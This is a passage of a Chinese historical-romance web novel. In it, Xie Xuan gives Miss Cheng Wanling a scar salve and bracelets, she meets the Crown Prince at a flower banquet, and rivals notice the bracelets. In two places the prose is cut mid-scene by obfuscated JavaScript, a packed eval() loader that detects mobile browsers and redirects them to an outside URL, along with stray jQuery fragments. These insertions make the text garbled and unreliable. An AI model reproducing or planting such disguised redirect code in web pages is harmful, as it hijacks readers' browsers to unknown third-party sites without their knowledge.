如果是那种只知攻防打仗,嗜好杀伐的狠人,绝不会有如此慈悲心肠。 回到府邸,程侍郎换下官袍,朝下人吩咐:“今晚多备些酒菜,温一壶陈年花雕,我与二公子有事相商。” 然后引着谢铉往会客的花厅去了。 他取了两本专门讲户籍治理的手札送给谢铉,眼底尽是爱才之意。 “二公子,你是第一个愿意听我畅言的晚辈,虽说身份贵重,但我虚长你几岁,不如日后,你我就以兄弟相称,省去那些俗礼如何?” 谢铉正准备接过他手中那本《户籍治方》,听到此言,脸色微微愣怔。 15. 你有几个女儿? 见他久久不语,程侍郎干笑两声打破尴尬。 “瞧程某这张嘴,尽说些糊涂话,二公子乃王府贵胄,程某官职低微,确实唐突了。” “程大人过谦,我——” 谢铉喉结微动,欲言又止。 好在他脑子反应还算快,解释道:“程大人见识深远,胸藏百姓,朝务之事熟练贯通,非常人可比,铉年岁尚浅,实在不敢与大人称兄道弟。” 谢铉的姿态放得很低。 程侍郎连连摆手:“二公子谬赞,程某只是入仕早,在地方上得了经验,哪有你说的那么好......” 话里话外都是客套,眼尾的笑容却没下来过。 看谢铉的年岁,应当不超过二十五。 自己都四十好几了,要是年轻时早成婚,他都可以当人家的爹,确实不太合适。 话又说回来,权势之中,年纪是最不要紧的。 前年还有位七老八十的小官,为了前程,认了三十岁的上司当爷爷,谄媚起来,可没半点不适。 当然,在他们这些正派文人看来,那都是些阿谀奉承之徒,不值得相交。 谢铉饮了口茶,又道:“程大人今日指点,谢铉获益匪浅,必会牢记心中,听闻府上千金伤了手,我母亲倍感担忧,故令我送了药来,还有一礼,请程大人收下。” 执玉此时才将捧了许久的紫檀木盒呈上。 程侍郎惊住了。 这盒子用上好的紫檀木所制,表面蜿蜒着金漆雕花,花样繁复,四周还镶嵌了指甲盖大小的红宝石,光是看着都觉得珍贵无比。 女儿受伤之事,他也是昨日才知晓,说是夜里遇见贼人偷东西,僵持时不小心伤了手腕。 那两道伤痕看起来狰狞可怖,实则没伤到要害,只不过要痛上几日,留个不大不小的伤疤。 这事与襄王府毫无瓜葛,谢铉是如何得知? 又是送药又是赠礼,不知道的,还以为自家女儿的伤是为他们所受。 “承蒙王妃挂怀,程某惶恐,有道是无功不受禄,王妃的好意臣收下了,只是这礼物太贵重,还请二公子带回。” 两家远日无亲近日无缘,襄王妃恐怕连女儿的面都没见过,谈何送礼。 这礼物,大概是襄王府为了拉拢朝臣,故意送的。 此前何家就有厚礼相赠,让程侍郎站队东宫,一起口诛笔伐对付谢铉。 这次襄王府为了送礼,居然连他女儿受伤了这种私事都能打听出来,真可谓居心叵测,不得不防。 谢铉眼底闪过一丝歉然:“程大人不必推辞,其实令千金受伤也有我襄王府的责任。” “那偷盗财物的贼人,偷的是王府的东西,为逃命不得已挟持程姑娘为质,故而今日所赠,是家母命我向府上赔罪罢了。” 程侍郎倒是没听说过此事。 不过既然是谢铉所说,他也不会觉得对方欺骗自己。 谁没事会跑到别人家送东西呢,送的还是这么名贵的礼物,如果不是他们襄王府愧疚,那就是有事相求了。 程侍郎并不想陷入储位之争的漩涡中,神色淡淡:“二公子多虑了,小女受伤只是小事,劳烦王妃娘娘挂心,若再不知足,便是罪过了。” 谢铉沉默了会儿。 能在皇帝面前得脸的人,没有哪个是简单的。 程侍郎与他再相谈甚欢,都不会放心把自家的底线毫无保留坦诚。 尤其是女儿,听闻还是个独苗。 谢铉鞠了一躬,态度诚恳:“程大人客气了,这里面装的是去痕膏,母亲听闻程姑娘受王府所累,夜不能寐,特意让我带来,只消用上三次,任何疤痕都会消除。” “这、小女何德何能受此灵药。” 程侍郎犹豫了。 女儿家确实不比男人,昨日妻子还托人四处去寻去痕药,忧心女儿手上留疤。 药都到自己家了,他再往外赶,那不是舍近求远? 晃神之间,他都能想到妻子要是知晓拒绝了这药,会如何哭哭啼啼、气急败坏,骂他丧尽天良不想女儿好,房门一关,让自己睡三个月冷板凳。 “如此,程某便替小女谢过王妃娘娘厚爱。” 谢铉放心笑了笑,又道:“程大人不必多礼,母亲挂念程姑娘伤情,来时叮嘱了,一定要我亲眼看程姑娘安然无恙,回去转告于她才安心。” “这......多谢王妃娘娘。” 程侍郎抓破了脑袋,也没想出自己家到底有什么值得襄王妃惦记的。 要说朝堂上的事,襄王妃不可能白痴到以为送一盒药就能让他俯首称臣,转头去跟皇帝说谢铉的好,坏了自己清明公正的形象。 要说钱财,他妻子娘家确实富庶殷实,但襄王府是什么名望,只要她开尊口,京城里多少富贵人家拼了命也会把家财奉上,何苦费这些周折。 “二公子,此处就是小女的住所了。” 程侍郎停了脚步。 谢铉与他同行,自然也停在院前,让丫鬟先去禀告。 程府布局精细,尤其是女儿家的住处,前庭和中庭之间栽种了不少花树,绕竹缠篱,开得葱葱郁郁。 □□旁,还有一条溪流蜿蜒而过,溪水清澈却水草丰盛,游鱼穿梭,肥美鲜嫩,浮光跃影,好似藏了金子一般闪耀。 不多时,一个藕粉色的身影从中飞奔出来:“二公子!真的是你给我来送药了!” 江言之跟在后头,手里提着食盒,一副无可奈何的宠溺模样:“苓妹妹,小心些。” “苓儿,二公子是贵客,你这般成何体统?” 原本程侍郎已经提前让人通知了她,想着到谢铉面前行个礼,好好道声谢便可。 哪曾想女儿竟然不加装饰,散着头发便跑出来。 还有这江言之又是什么时候入的府?怎么没人禀告他? 程侍郎苦笑道:“小女平日被拙荆宠惯了,没规没矩,让二公子见笑。” 晚苓最不喜欢的程侍郎老古板的样子,垂眸瞧了瞧身上的衣裳。 藕粉色的外衫,配上暖黄的短襦和绣着粉海棠的褶裙,走路时翩然如风吹花展。 头发一半用篦子固定成髻,另一半如瀑般垂在身后,每一处细节都收拾得恰到好处,仪态端方又不失温婉动人。 “父亲,你怎么能这么说我。”她赌气般抿起唇。 依照礼仪福了福身,眉色上挑,带着少女独有的好奇和明媚:“见过二公子。” 谢铉看了一眼江言之,才和她说话:“程姑娘安好,不知手上的伤如何了?” 晚苓径自撩起袖子给他看。 皓白细腕布着两条清晰的疤痕,估计是刚换下草药不久,疤痕周围有淡淡的青色,就像完美的瓷器裂了道划痕,让人忍不住皱眉。 谢铉道:“母亲听闻程姑娘受伤,略备薄礼和膏药,若不嫌弃,还请姑娘收下。” 晚苓当然不嫌弃,恨不得立刻当着他的面儿打开。 说是襄王妃送的,但双方心知肚明,襄王妃与她有何相干,这些东西肯定都是谢铉准备的。 这可是他头一回送她礼物。 哪怕是因为自己受伤,晚苓也觉得值了。 这么一想,她又觉得自己是不是太容易满足,明明之前她的伤那么痛。 “多谢王妃娘娘,晚苓受之有愧。” 她福身道谢,连礼仪上的推拒都不舍,怕谢铉因为两句客气把礼物收回去了。 程侍郎想着临安侯府和襄王府交情颇深,江言之和谢铉必然是认识的,没过多介绍。 江言之常来程家送东西这事他知道,两家婚事快要提上日程,江言之和晚苓走得近也是自然。 不过这些事情,还不能直接对谢铉明言。 他道:“言之对妹妹爱护有加,这回你母亲又让你送什么东西来?” 江言之清俊的脸庞从晚苓腕上回神,拱手回:“舅舅怎么也来打趣,母亲制了两枚长命缕,让我送来给舅母,另有些吃食,是表妹爱吃的。” 说到吃食,晚苓心里一惊,想起那晚谢铉说的,这伤需要忌口。 她忐忑抬眼看向谢铉。 当着程侍郎的面儿,谢铉并没多说什么,连眉毛也不曾动一下。 程侍郎刚刚的问话,不过是怕谢铉误会程家女儿会见外男,才把事情拿到明面儿上说。 反正两个孩子的交往,都是大大方方的,江言之送东西也是听从母命,不是两人不守规矩,私下偷偷往来。 “你母亲有心了。” 程侍郎也是这几日才知晓,上京在中元节,亲戚间有送长命缕的习俗。 若是哪门哪户不在门前挂上柳条和亲戚送的长命缕,旁人便会以为这户人家亲戚断绝,不好相处。 他拍了拍江言之的肩膀,想起了什么:“我这儿刚好收了几个前朝的瓶子,来日还要请你父亲一同观赏,顺道还有几瓶好酒一同品鉴。” 中元一过,有几个好日子,程侍郎打算请江家商量婚事。 三书六礼,下聘迎亲,加起来少说得大半年,他可不会委屈了自己的女儿。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371144|199909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江言之点头应道:“好说好说,我一定把话舅舅的话带到。” . 谢铉是贵客,程侍郎亲自送他出门。 江言之也出言告辞。 三人一道离开,程侍郎作为主人,少不得客气地说礼数不周,邀请谢铉下次再来,备上好酒好菜,不醉不归之类的客套话。 本只是闲聊两句,谁料谢铉似乎当了真,收下手札恭恭敬敬还礼:“程大人相邀,必不会推辞。” 程侍郎没想到他这么郑重其事。 送客时说的场面话,就如路上遇见,问候完加上一句“有空一起喝酒”一般,都是随口胡诌。 程侍郎没来由生出一种搬起石头砸自己脚的感觉,但话已出口,只能硬着头皮答:“好说好说,程某正缺个酒友,若二公子空闲,一定不能忘了这事。” 浅谈之后,谢铉大步跨出程家府门。 襄王府的下人牵着马守在程府门口,他接过缰绳一跃而上,很快离开。 程侍郎摸了摸胸口,疾步回府,吩咐下人赶紧把大门关上。 按理说,他行得正坐得端,一没贪污二没行贿,谢铉管的是京畿九营,又不是大理寺和侦查院,怎么会突然心慌。 仔细想想,谢铉如此殷勤,说不定是欣赏他才华呢? 君子之交淡如水,有人相识一辈子,也不见得交情多深,有人只是聊了一会儿就觉得相识恨晚。 “若不是襄王府门第太高,二公子这般人品和气质,配咱们苓儿多好!” 程侍郎和谢铉交谈许久,今日观来,谢铉并非传闻中那般蛮横恶劣。 他们这种文人雅士,向来有一种清高,觉得武人粗俗不堪,唯有读书人高尚。 谢铉虽是武将,可他彬彬有礼,学识渊博,对他也十分客气,这就是他一早期盼的女婿啊。 程夫人放下针线,伸了伸懒腰调笑:“前几日你不是还中意江家,今日又变了主意?” 江言之是两人考量过的,人品上佳,才学博雅,就算没有爵位,日后仕途也一定不差。 且江家人口简单,江二爷夫妇就他一个儿子,亲上加亲,女儿嫁过去不会受委屈。 “我这也是想想罢了。”程侍郎遗憾道,抬脚走到程夫人身后帮她捶背。 想着想着,心里又冒出点不忿:“王府而已,又不是天宫,难道咱们苓儿就一定配不上吗?” 程家在桥州也是鼎鼎有名的书香世家,祖上最高做过知州,就算中途没落了一段,自己不也入了皇帝眼,登上朝堂,再耕耘几年,没准能更进一步。 女儿就是出身差了点,性子优柔,不喜上进,他自己上进也是一样的。 等他成了宰辅,手握重权,女儿别说是王府公子,就是太子也照样嫁。 程夫人耐着性子听完,然后嘲笑他没个正经:“你有几个女儿?又是嫁太子,又是嫁王府,不知道的以为咱们晚苓有两个夫婿呢。” 松苓院。 晚苓打开锦匣,里头俨然是谢铉送的手镯。 世上的女人,没有谁不爱珠宝首饰。 襄王妃生于永乐侯府,嫁的是皇室子弟,就算她人淡如菊,可工匠们匠心独特,寻常的金玉都能雕刻得无与伦比。 加上她是宗妇典范,要出席各类重要的场合,没有点行头说不过去。 几十年的收藏,手镯分类齐全,赤金累丝、点翠镶嵌的花丝镯,碧若春水的翠玉镯,泛着墨色水波檀木镯......都是可遇不可求的。 谢铉只拿了两对。 如若一下子送的太多,有心人知道,未免起疑。 且挑选的这两对,都是颜色亮丽的镯子,小巧玲珑,刚好能遮住伤疤。 晚苓对窗凝神,镯子散着淡淡的白光,似皑皑雪山上积年不消的冰雪,光是看一眼,都会晃了魂。 戴在手上,顿觉这双手都成了纯白色,冰冰透透的,贵重无比。 画眉在一旁拧开浅紫色的药罐,准备替她上药。 混着松脂与乳香的溢出来,指腹揉过,凉凉的膏体顺着肌肤的纹路渗进去,春雪一般消逝无痕。 “姑娘别说,襄王妃送的膏药真有奇效,再过几日,估计就看不出来了。” 晚苓顺势取下镯子,摸了摸手腕上的伤疤,确实消了不少。 “王妃真好,如果能一直那么好就好了。” 说出口,她自己都忍不住笑。 画眉:“姑娘,你确定这真是王妃送的吗?” 晚苓朝她眨眨眼:“这个啊,天知地知咯。” 16. 太子殿下 上京地处中原,被皇家圈起来的园林,群芳争艳,花卉繁多,各种奇花异草争妍斗艳。 年中襄王妃游园有感,满庭芳菲,无人欣赏实在可惜,按旧例举办赏花宴。 往年的赏花宴不仅斗花,还有各种的香囊、香包、刺绣等待人观赏,各家姑娘小姐也会拿出擅长的绝活,在赏花宴上一展芳华。 而赴宴的夫人们,多数都喜欢在这种场合相看晚辈,趁机为儿女牵桥搭线。 江灵萱争强好胜,就算不为姻缘,也想求个名次。 她不善刺绣,便花大价钱从一个养花户手中买了株山茶,名叫绯云缠玉,其中两瓣为红色,红丝萦绕在白瓣间,如绯色的云缠上美玉。 “去年我绣了个香包,只得了两票,其中有一票还是我央着哥哥投的。”她颇为遗憾道。 晚苓随口问:“那另一票呢?” 江灵萱想了想,道:“我也不知道是谁,兴许是胡乱投的,兴许真有人喜欢我绣的水仙花。” 晚苓看了眼她腰间系的香包。 江灵萱不说,真看不出是水仙。 她还以为江灵萱品味独特,喜欢白鸭子。 “对了,襄王府的赏花宴,何家那位三姑娘也会去,就是不知道宁嘉县主去不去,若是去了,你可得小心别被她揪住了。” 晚苓想起上回自己被针对一事,心生怯意。 “如果她去的话,要不我就......” “不成!”江灵萱拽住她的手,“放心啦,我会保护你的,公主府又不是一手遮天,她敢当面欺负你,我倒要会会她。” “再说了,那是襄王妃的宴会,去的又不止她公主府的人,王妃娘娘怎么可能允许她挑事生非祸害自己宴会。”江灵萱道。 “灵萱,你不怕吗?”晚苓忽然发问。 江灵萱疑惑:“怕什么?” “宁嘉县主。” 上回她是死里逃生了,可昭阳大长公主的威严在她心里,早就埋下了一颗恐怖的种子。 想起来还是心有忧戚。 江灵萱:“我为什么要怕她?她的祖母是公主,我的祖母也是公主,只不过我祖母习惯了低调,一直避世而居,我父亲承袭爵位后,她便执意摘了公主府的牌子,再说了她是县主,没自己封地食邑,就是个虚衔,我才不怕她。” 晚苓目瞪口呆:“你没告诉我啊。” 这上京,果然人人都不可小觑。 江灵萱摸摸耳朵:“我忘了……我以为你知道,满京城都知道啊。” . 宴会当日,到了襄王府门前,抬脚下了马车,她才知什么叫做宗室之首,朝臣拜服。 不过就是一个赏花宴,竟然大半个京城的贵眷都来了。 乌泱泱的人群齐齐候在门口,哪怕王府安排有些迟慢,让几个大臣家的夫人等了一刻钟才进去,都没人敢吐露一丝不敬。 萦娘这等自诩公侯世家出身,对王府下人居然面带三分笑,碎步缓缓,露出和善的暖意。 只不过在看到晚苓时,又生生噎住,不尴不尬停在门槛上。 晚苓并未理会,撇开脸向别处去了。 程家和江家在一处闲聊,晚苓见了不少江家亲友,略略行礼,恬然一副乖巧安静的模样。 “这便是晚苓吧,常听表姐提起你,真是美貌无双,我们家这几个丫头,连半点儿也赶不上。” “晚苓,这是中书令家的二夫人。”临安侯夫人介绍道。 还未说完,江灵萱已经从旁加了一句:“也是我表姨母。” 晚苓听了夸赞的话,一边福身谢过,一边谦虚不敢托大,忙说自己只是寻常容貌,其他姐妹才是才貌双全,让她望尘莫及。 世家经常联姻,上京底蕴深厚的人家,往上论三代,说得出名字的都是姻亲。 其中最出名的,还要属中书令王家。 王家接连两任家主子嗣繁盛,各有几十个儿女,这些儿女成亲后,粗略数下来,整个上京的豪门世家都是他们家的亲戚。 晚苓不无好奇,若是这些人家中出了大案,皇帝要诛九族,不知王家会不会算在内。 一旦王家算在内,其他人是不是也要遭殃。 这般想着,又觉得可笑了。 进入王府时,就有人给了几支不同颜色的签,等到赏花宴上,若是喜欢哪盆花,便可把签放在花前,签数多者胜出。 为了公平,主人的名字都是藏在花盆底,若不是提前串通,极少有人能猜到花的主人是谁。 那株绯云缠玉惹人注目,晚苓已经见到好些人下了签。 “秦国公夫人来了。” 江灵萱牵着晚苓的手,在她耳边私语:“秦国公是当朝国舅,这个秦国公夫人娘家姓刘,是萦娘的姑姑,瞧她身后那个一身粉衣襦裙打扮的没有,就是他们家的三姑娘。” 晚苓倒是想起了,这位三姑娘,似乎就是何家打算嫁给谢铉,被拒绝的那位。 但萦娘只跟在宁嘉县主身边,对何三姑娘并不那么亲近。 江灵萱对旁人的八卦如数家珍:“何三姑娘自命清高,从来都看不起萦娘,仗着出身好些,年纪比萦娘大一岁,次次见着都要以姐姐的身份教育她几句。” 都是一般年纪,谁又喜欢总是对自己说教的人呢?萦娘当然不想和何三姑娘靠在一起。 不过萦娘和何三姑娘是亲戚,哪怕不对付,话也能说两句。 只见她不知说了什么,何三姑娘的眼神便看向了这里,带着几分惊讶。 晚苓后知后觉,萦娘一定会把上回谢铉帮她解围的事告诉何三姑娘。 “好烦啊......”她皱眉失落道。 万一待会儿何三姑娘寻她麻烦,又不知如何解决。 临座便是世子妃的娘家卫国公府以及中书令家的几个姑娘,她们倒是没什么恶意,甚至还想上手摸她的脸。 上京的人都有动手动脚的习惯么? 幸好谢铉从来不这样。 相互熟络后,有人提议作诗。 这提议吸引了好几家姑娘,其中就有何家的,过来叙旧时,何三姑娘还点了点晚苓的名字:“久闻程姑娘大名,不知可愿题诗一首,让我等欣赏。” 何三姑娘长得秀气清丽,声色娓娓而来,自有一股书卷气,看向晚苓时,若有若无带着期盼且深沉的意味。 见晚苓没说话,她特意补充了一句:“若是时间紧迫,不足以抒得佳作,以前写的也可。” “这......”晚苓看着她,无可奈何笑了笑。 天杀的,她对吟诗作对这种文绉绉的东西最怕了。 那些诗词歌赋,在她听来如天书一般。 再看萦娘和宁嘉县主侧耳倾听的模样,估计早就等着她出丑。 晚苓断然拒绝:“我生性愚钝,自小疏于向学,听闻三姑娘是名盛上京的才女,诗词一绝,晚苓岂敢在才女面前献丑,三姑娘还是不要为难我了。” 何三姑娘听了有些诧异,不死心道:“文无第一,武无第二,程姑娘何必自谦,令尊也是进士出身,想必家学渊源,今日权当做女儿家的顽劣之作,不用登大雅之堂。” 晚苓摇头:“书读的不多,确实写不出来。” 就算写出来了,在场这么多人,估计又要说三道四。 毁坏她的名声就算了,若是拖累程家,她宁愿不写。 何三姑娘铺开纸张,皱了皱眉头。 她没想到晚苓会直接认输,且还认得这么爽快。 难道她不觉得羞愧吗? 江灵萱也很奇怪,偷偷问:“作诗而已,我二哥那儿不是大把,你随便背两首她又不知道,你该不会怕了她吧?” 晚苓没想过还能偷别人的,偏头和她私语:“其实......我也没背过。” 至于怕不怕何三姑娘...... 晚苓觉得,若她不是一上来就要自己作诗,她是不怕的。 可她那正经考量、肃静淡泊的模样,让晚苓想起程家的夫子,想起幼年被罚抄、罚背的日子,两人眼神如出一辙,让她想遁地逃跑。 为何情敌这么多啊。 且个个出身都比她好,她只能安慰自己起码长得比她们好看,这何尝不算一种优势呢? 若是谢铉只看美貌,不看才华就好了。 谢铉......晚苓忽然想到,认识谢铉这么久了,他从未说过一句她好看。 难道他品味独特,不喜欢美女吗? “谢铉会来赏花宴吗?” “应该......不会吧。”江灵萱摸摸脑袋,看向主座:“你要去问问吗?” 晚苓:“……我不敢。” 上回来襄王府就差点迷路,这园子比上次的还大,没人带着,她根本不知道哪里是哪里。 总不能光明正大找个下人,直接和他说你家二公子住哪里,快带我过去。 江灵萱看出她的顾虑,直接拉她到了角落里,打开角门出去。 “我对这儿还算熟,从这个小门出去就是一条长廊,再往西走一会儿,就是谢铉住的院子了。” 路上确实有奴仆守在各门,但江灵萱常跟着江砚白来襄王府,他们眼熟便没有阻拦。 直到谢铉的院门前。 江灵萱张口道:“我是临安侯府的大姑娘,我哥哥有东西带给二公子,不知可否通传。” 江砚白的名头不怎么响亮,在谢铉这里还行得通,下人立刻道:“江姑娘,公子不在院内,府内有贵客,公子迎接贵客去了。” 能让谢铉亲自迎接的人,身份一定不一般。 晚苓虽然失落见不到他,但也只能回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371145|199909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江灵萱走到一半,察觉不对:“晚苓,我耳坠子好像掉了。” 两人回想了一下,估计是不小心掉在路上。 “我和你分头找找吧。” 她们是偷偷溜出来的,没带婢女,决定尽快分头行动。 江灵萱沿路回去谢铉的院子,晚苓人生地不熟,就在原地寻找。 “你在找什么?”身后忽然传来一个温润的声音。 晚苓回头一望,愣在原地。 来人生的高大,长相和谢铉有几分相似,不过年纪应该比他小,脸上的轮廓柔和,睫毛长密,薄唇略显苍白。 最出众的是墨黑的瞳仁,望人时像盛着春水,暖而温和,却带着点疏离的冷光,负手探头看着她。 晚苓起身抓了抓袖子,不知该说什么。 来上京这么久,见着陌生人该做什么她知道。 可这人身份未明,贸然问安似乎不妥。 “我在找一个耳坠子,是一个鎏金镶嵌的朱砂圆珠,这么大,你见着了吗?” 她用小指甲盖比划了一下,然后看着他。 来人久久未说话,似是被她的容貌惊到了,好一会儿才微微弯起嘴角,抿起一个淡泊的笑容。 随后侧首在附近草地里看了两眼,无奈道:“没有。” “很着急要吗?我可以让下人帮你找。” 他大概是看到了她耳垂两颗坠子完好,晚苓解释道:“不是我的,是我朋友的,这对她很重要。” 朱砂并不贵重,不过那是江灵萱母亲送她的生辰礼,丢了总不好。 况且她觉着今日那株山茶会夺得头筹,还需到襄王妃面前接受彩头,现场那么多女眷,一只耳朵光秃秃的会让人笑话。 晚苓探究的目光让他十分好奇:“你这么看……是认识我?” “你和谢......和襄王府的二公子有几分相像。” 此言一出,他便和煦笑了:“你认识他?” 晚苓怯怯点头,两抹春意浮在脸上:“见过几次。” 她忍不住再看了几眼,食指卷着腰上的丝绦柔糯试探:“那你是......” 他并没立刻给她解惑,卷起麒麟纹的广袖,在一株不起眼的小草旁捡起了什么,问她:“是这个吗?” 掌心正是江灵萱丢失的那枚朱砂坠。 晚苓欣喜点头。 他笑着把坠子递给她,又问:“既然你不是襄王府的人,宾客都在园子里,你在这儿做什么?” 晚苓轻轻啊了一声,低下头眼神飘忽:“那个我该回宴会了,多谢公子。” 若是被人知道她特意来找谢铉,不说耻笑,肯定也会惹得流言纷纷。 但她想不出什么借口,只好避而不答。 不过当她想要逃路时,更捉急的事情出现了——她是该直接回去园子,还是先去寻江灵萱? “怎么,忘了回去的路?” “不是......”晚苓指了指另一边,尴尬笑道:“我朋友去那儿了......” 她没法说江灵萱是去谢铉院前那条路,可他一眼就看出了实情,带着点调笑开口:“那应该是谢铉的院子吧,所以你逃了宴会是去找——” “不是不是......” 晚苓跺了跺脚,忽然急中生智:“我是、是因为其他人都喜欢吟诗作画,我不怎么会,才离开的。” 回答她的是一声长长的哦......然后看着她不说话了。 他这稍稍一停顿让晚苓瞬间敏感起来,摩挲着自己的袖子。 “你也觉得我愚笨,琴棋书画不好,想笑话我吗?” “琴棋书画这东西讲究天份,有人天生擅长便有人生性驽钝,刺绣却需要时间和精力不断练习,你的刺绣这么好,足可见平日里大半功夫都用在了此处,又怎么能怪你不通诗书呢?” 晚苓讶然:“你怎么知道我刺绣好?” 他看了一眼她袖子上的芍药花,眸中泛着潋滟笑意:“那大概是......我猜的。” 与此同时,转了一圈的江灵萱也耷拉着眼皮回来了。 “怎么会不见了呢?我又没有跑去哪里。” 晚苓朝她招了招手,想告诉她已经找到了的好消息。 江灵萱看到两人,愕然停在半道上,随后如临大敌般提着疾步跑来,拉着晚苓一同跪下。 “灵萱你怎么——” “别说话!” 江灵萱朝她挤眼,按着她的脖子一同下拜:“臣女拜见太子殿下!” 太子...... 晚苓的脸一下子变得通红:“殿下恕罪,臣女进京不久,并非有意冒犯......” 谢镕脸上仍挂着淡淡笑意,温柔如晨光,一点也看不出生气:“你有何罪,是孤没来得及表露身份。” 17. 他有些似曾相识 途中,晚苓一直心不在焉,好似遗漏了什么。 江灵萱只当她初见这般尊贵的人物,害怕生事,安慰道:“太子殿下素来仁心,宫人犯错都极少苛责,绝不会因为你一时不知他身份怪罪的。” “我不是怕他治罪,而是觉得……”心里有股说不出的怪异惆怅。 以前听说太子病重,一直以为是卧病在床的体虚之人,如今看来,除了身形稍微瘦削,眉眼也不见丝毫病态。 且正是因为身形瘦,才彰显出骨相非凡,眉若刀裁,暖煦的目光深邃而有神,一举一动飘然自若,仿若从画中走来,令人移不开眼。 “他有些似曾相识。” 可她这是第一次见他。 江灵萱没放在心上,随口道:“他和谢铉有几分相似,你眼熟也正常。” 晚苓点了点头,没再往深处想。 裕兰园内,襄王妃早已入座,没多久,谢镕和谢铉也到了。 众人起身行礼,让出一条道。 谢镕没什么架子,主动上前扶起襄王妃,又让其他人不必拘束,只当他是来凑热闹的。 谢铉站在他身旁,应景般穿了黑色以外的衣裳,青色冠玉,眉目间融了些微桀骜,不说话时,更是让人敬而生畏。 眼眸掠过她一眼,没有停留太久。 晚苓不自觉笑了。 谢铉看到她笑,两分疑惑匿于眼角,面上仍旧不显。 赏花宴来的大部分是女人,朝臣们忙于公务,极少出席。 只有那些尚未领职的贵公子,或是恰巧不用值守的臣子,才会陪同家中女眷前来。 谢铉身旁跟着几家公子,江灵萱都认识,挨个给她介绍。 “左边那个绿衣服的,是豫州知府家的老大,那个青衣服小眼睛的,是威海将军府的小公子,还有那个招风耳的,叫何儇,就是他弄了一盆洛阳锦,居然和我的绯云缠玉不相上下,太可气了!” 江灵萱的绯云缠玉放在第三排花的中间,按照其中签数来看,确实得了不少人喜爱。 山茶花的左边是一盆盛放的牡丹,紫红和粉白两色并蒂同在,甚为鲜艳妖冶,让人惊奇。 晚苓数了一下,两者签数竟然差不多。 赏花宴是襄王妃举办,为了公平,襄王妃并没有送花参选,还特意准备了厚礼给胜出的人家。 宴会途中,王妃的侍女巧儿朝晚苓走了过来,先是瞧了一眼她手上的镯子,笑语嫣然道:“程姑娘,王妃请您过去。” “我?” “正是,娘娘上回在玉华山就见过姑娘,觉得一见如故,今日有机会,请姑娘上前一叙。” 巧儿是个极会说话的,不仅让晚苓放下心,连周遭的人都明了缘由。 “咦,程姑娘这对镯子怎么有些眼熟......”旁边传来一声小小的惊呼。 众人顺着她的话望过去。 都是心细入微的人,很快便认出了晚苓手上戴着的,正是襄王妃最爱的白玉镯。 宁嘉县主没想到,原先她轻视的程晚苓,不知何时竟然得了襄王妃的喜欢。 她怎么配得上? 宁嘉县主紧紧掐着婢女的手背。 婢女知道她狠辣恶毒,牙关紧咬,面上不敢露出分毫。 “许是类似的吧,王妃怎么可能把那么重要的镯子给她,就算是给,也是给世子妃......” 萦娘心里嫉妒不已,但顾及宁嘉县主的情绪,只能如此道。 说着说着似乎也说服了自己,语气笃定起来:“……这种小门小户出身的,就喜欢戴些仿造的东西,一定是她偶然看到王妃戴,就出去找了人仿冒,殊不知东施效颦,贻笑大方罢了。” “闭嘴!”宁嘉县主低声骂道,然后怨恨地看了眼自己的婢女。 “真是个贱坯子,妖里妖气在这儿讨人嫌!” 不就是受了点疼,脸色苍白弱弱讨饶,恨不得让所有人都知道她受了委屈。 “县主,奴婢真的很疼,求您放过奴婢。” 宁嘉县主本就在气头上,听到她幽怨哽涩的声音,用眼睛剜了她一眼,终于放开了她,若无其事吹了吹染着寇丹的指甲。 婢女哆哆嗦嗦着喘气儿,把手藏在袖子里,默默远离了半步。 “不要脸的贱蹄子,惯会装模作样,看我回去如何罚你。”宁嘉县主狠厉道。 婢女的脸色更加惶恐了。 “下贱玩意儿。” 宁嘉县主看她这怯弱瑟缩的模样,心情好了不少,可对上不远处那道身影,又带着几分怨恨。 别人或许看不出真假,但她赏玩过那么多珍宝,岂不知极品白玉都是不一样的,哪怕相似,她也能一眼分辨。 那就是襄王妃那对。 若是不小心摔碎就好看了,宁嘉县主想。 紧密的议论声中,晚苓走到了襄王妃跟前,乖巧依照礼仪福身请安:“臣女见过太子殿下、王妃娘娘、二公子。” 她今日穿的是一身霞光色的双层襦裙,天水碧空的蝉翼纱罗搭在肩上,昳丽的晚霞和迷幻的雾影交接,屈身时裙摆曳地,宛如仙子杳然而来。 再往上,是精致到不似凡人的五官,琼鼻挺秀,唇如点绛,肤质细腻不见半分瑕疵。 襄王妃身为女子,都不免觉着被吸引,盯着看了许久才让她起身。 当真好颜色,怪不得她那儿子如此挂念。 “谢王妃娘娘。” 晚苓依言而行,恬静笑着。 襄王妃温柔笑道:“上回见你还是在玉华山,听闻你回去之后病了,不知如今可好了?” “回娘娘,休养之后,已无大碍。” “这便好,你这孩子趁我的眼缘,得常来王府陪我才是,今日有没有送上什么花儿让众人品鉴品鉴?”襄王妃又问。 晚苓惊讶看了一眼谢铉。 后者神色淡然,略作悠闲般翻了翻花册,好似和他不相干。 晚苓收回眼神,愧疚道:“府中花匠术业不精,只懂得搭架引藤,浇灌分枝,依时循律而已,尚未培育出什么好苗子,若是日后有了可观赏的,一定第一时间送到娘娘面前。” 襄王妃捏着帕子,忽然伸出手。 晚苓愣了一下,上前一步将手搭过去。 襄王妃忍不住摸了摸,含笑道:“指若削葱,腕如白璧,配得上这一对白玉。” 闻言有官眷坐不住了,打量晚苓手上的镯子,故作好奇道:“这不是王妃的皎霜环玉镯,怎么到了程姑娘手上?” 